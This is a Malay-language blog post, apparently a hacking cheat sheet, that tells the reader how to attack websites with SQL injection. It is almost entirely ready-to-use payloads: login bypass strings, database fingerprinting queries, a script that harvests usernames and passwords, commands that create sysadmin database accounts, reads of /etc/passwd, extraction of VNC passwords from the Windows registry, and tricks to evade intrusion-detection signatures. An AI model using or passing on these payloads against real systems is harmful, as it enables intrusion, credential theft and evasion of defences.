Sql Injecntion .




SQL INJECTION 


Suntikan SQL adalah satu teknik yang sering digunakan untuk menyerang/menggodam laman web . SQL suntikan adalah kod teknik suntikan yang mengeksploitasikan kelemahan keselamatan dalam perisian sesuatu laman web . Suntikan SQL kebanyakannya dikenali sebagai vektor serangan untuk laman web tetapi boleh digunakan untuk menyerang mana-mana jenis pangkalan data SQL.

SQL Injection adalah salah satu serangan web yang paling biasa. Anda menyerang aplikasi web, (ASP, JSP, PHP, CGI) bukannya webserver atau perkhidmatan yang berjalan pada OS. Suntikan SQL adalah satu cara untuk menipu menggunakan pertanyaan atau arahan sebagai input melalui laman web. Kebanyakan laman web mengambil parameter dari pengguna seperti username dan password atau juga e-mel mereka. Mereka semua menggunakan querys SQL.


Anda patut bermula dengan ini : 


Login:' or 1=1--
Pass:' or 1=1--
http://website/index.asp?id=' or 1=1--

Atau 


' having 1=1--
' group by userid having 1=1--
' union select sum(columnname) from tablename--

Untuk mengumpul maklumat 


' or 1 in (select @@version)--
' union all select @@version--

Ini untuk mencari jenis versi komputer tersebut atau OS ( operating sistem ) Jenis data :

Oracle

-->SYS.USER_OBJECTS (USEROBJECTS)
-->SYS.USER_VIEWS
-->SYS.USER_TABLES
-->SYS.USER_VIEWS
-->SYS.USER_TAB_COLUMNS
-->SYS.USER_CATALOG
-->SYS.USER_TRIGGERS
-->SYS.ALL_TABLES
-->SYS.TAB

MySQL

-->mysql.user
-->mysql.host
-->mysql.db


MS access
-->MsysACEs
-->MsysObjects
-->MsysQueries
-->MsysRelationships

MS SQL Server
-->sysobjects
-->syscolumns
-->systypes
-->sysdatabases

Untuk memerangkap passowrd 


'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login > @var select @var as var into temp end --

' and 1 in (select var from temp)--

' ; drop table temp --


Mencipta DB ( database account )

MS SQL

exec sp_addlogin 'name' , 'password'
exec sp_addsrvrolemember 'name' , 'sysadmin'

MySQL

INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))

Access

CREATE USER name IDENTIFIED BY 'pass123'

Postgres (requires Unix account)

CREATE USER name WITH PASSWORD 'pass123'

Oracle

CREATE USER name IDENTIFIED BY pass123
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;
GRANT CONNECT TO name;
GRANT RESOURCE TO name;


MySQL OS Interaction

' union select 1,load_file('/etc/passwd'),1,1,1;

Nama pelayan dan config:

' and 1 in (select @@servername)--
' and 1 in (select servername from master.sysservers)--


Mendapatkan semula kata laluan VNC dari pendaftaran:

'; declare @out binary(8)
exec master..xp_regread
@rootkey = 'HKEY_LOCAL_MACHINE',
@key = 'SOFTWARE\ORL\WinVNC3\Default'
@value_name='password'
@value = @out output
select cast (@out as bigint) as x into TEMP--
' and 1 in (select cast(x as varchar) from temp)--


IDS Tandatangan Pelarian:

Evading ' OR 1=1 Signature

' OR 'unusual' = 'unusual'
' OR 'something' = 'some'+'thing
' ' OR 'text' = N'text'
' OR 'something' like 'some%'
' OR 2 > 1
' OR 'text' > 't'
' OR 'whatever' in ('whatever')
' OR 2 BETWEEN 1 and 3


mySQL Input Pengesahan pemintasan menggunakan Char ():

Inject without quotes (string = "%"):
--> ' or username like char(37);
Inject with quotes (string="root"):
--> ' union select * from users where login = char(114,111,111,116);
load files in unions (string = "/etc/passwd"):
-->' union select 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
Check for existing files (string = "n.ext"):
-->' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));


IDS Pelarian Tandatangan menggunakan komen:

-->'/**/OR/**/1/**/=/**/1>br> -->Username:' or 1/*
-->Password:*/=1--
-->UNI/**/ON SEL/**/ECT
-->(Oracle) '; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
-->(MS SQL) '; EXEC ('SEL' + 'ECT US' + 'ER')


Rentetan tanpa petikan

--> INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72), 0x64)










0 comments:

Post a Comment